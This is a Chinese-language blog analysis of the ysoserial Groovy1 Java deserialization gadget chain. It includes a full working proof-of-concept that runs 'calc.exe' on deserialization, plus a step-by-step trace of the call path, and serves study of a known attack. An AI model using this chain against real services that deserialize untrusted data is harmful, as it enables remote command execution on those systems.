ysoserial-Groovy1-分析
2022-09-27 15:47 rnss 阅读(61) 评论(0) 编辑 收藏 举报复现
依赖:
<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy -->
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.3.9</version>
</dependency>
poc:
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1Test {
static String command = "calc.exe";
public static void main(String[] args) throws Exception {
MethodClosure methodClosure = new MethodClosure(command, "execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?>[] allinterfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
allinterfaces[0] = Map.class;
Object o = Proxy.newProxyInstance(Groovy1Test.class.getClassLoader(), allinterfaces, closure);
final Map map = Map.class.cast(o);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
final Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, map);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o2 = (Object) ois.readObject();
}
}
分析
先分析一下简化版的代码
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Array;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1Test {
static String command = "calc.exe";
public static void main(String[] args) throws Exception {
MethodClosure methodClosure = new MethodClosure(command, "execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?>[] allinterfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
allinterfaces[0] = Map.class;
Object o = Proxy.newProxyInstance(Groovy1Test.class.getClassLoader(), allinterfaces, closure);
final Map map = Map.class.cast(o);
map.entrySet();
}
}
首先声明了字符串command为calc.exe
然后main函数里先new了一个MethodClosure对象,传入command和"execute"
command被传入了Closure.Closure
然后声明了一个ConvertedClosure对象,传入刚刚声明的MethodClosure和"entrySet"
MethodClosure也被传入了Closure.Closure
然后声明了一个Class数组,长度为1,成员是Map.class
然后创建了一个动态代理,使用前面声明的ConvertedClosure来代理Map.class,ConvertedClosure是InvocationHandler的孙类,所以这里创建的实际上是一个Invocation代理,这意味着之后调用map的任何方法时,都会先调用ConvertedClosure的invoke方法。
然后调用了map.entrySet(),会先调用ConvertedClosure.invoke,ConvertedClosure没有invoke方法,所以调用的是它父类的invoke方法:ConversionHandler.invoke
103行调用了invokeCustom,这个方法在ConversionHandler中是一个抽象类,所以调用的是子类的invokeCustom方法
51行调用了Closure.call
423行调用MetaClassImpl.invokeMethod
1061行判断object是否为Closure,这里的object是MethodClosure,所以判断为true
然后取出最开始我们设置的要执行的命令"calc.exe"
然后1074行 return MetaClass.invokeMethod,其实调用的仍然是MetaClassImpl.invokeMethod,这里是一个递归调用,但第二次调用时传入的第二个参数object为刚刚的命令"calc.exe",因此1062行的判断变为false,不再进这个判断
然后调用了method.doMethodInvoke
然后调用了ProcessGroovyMethods.execute,这里这个execute的函数名也是一开始设置的
所以现在的问题就变成了如何调用map的任意方法
看到sun.reflect.annotation.AnnotationInvocationHandler的readObject方法
调用了memberValues.entrySet(),看下memberValues是什么
memberValues是一个全局变量,也就是说我们只要使用map构造一个AnnotationInvocationHandler,在反序列化时会执行AnnotationInvocationHandler.readObject,然后执行map.entrySet(),这样就能执行命令了。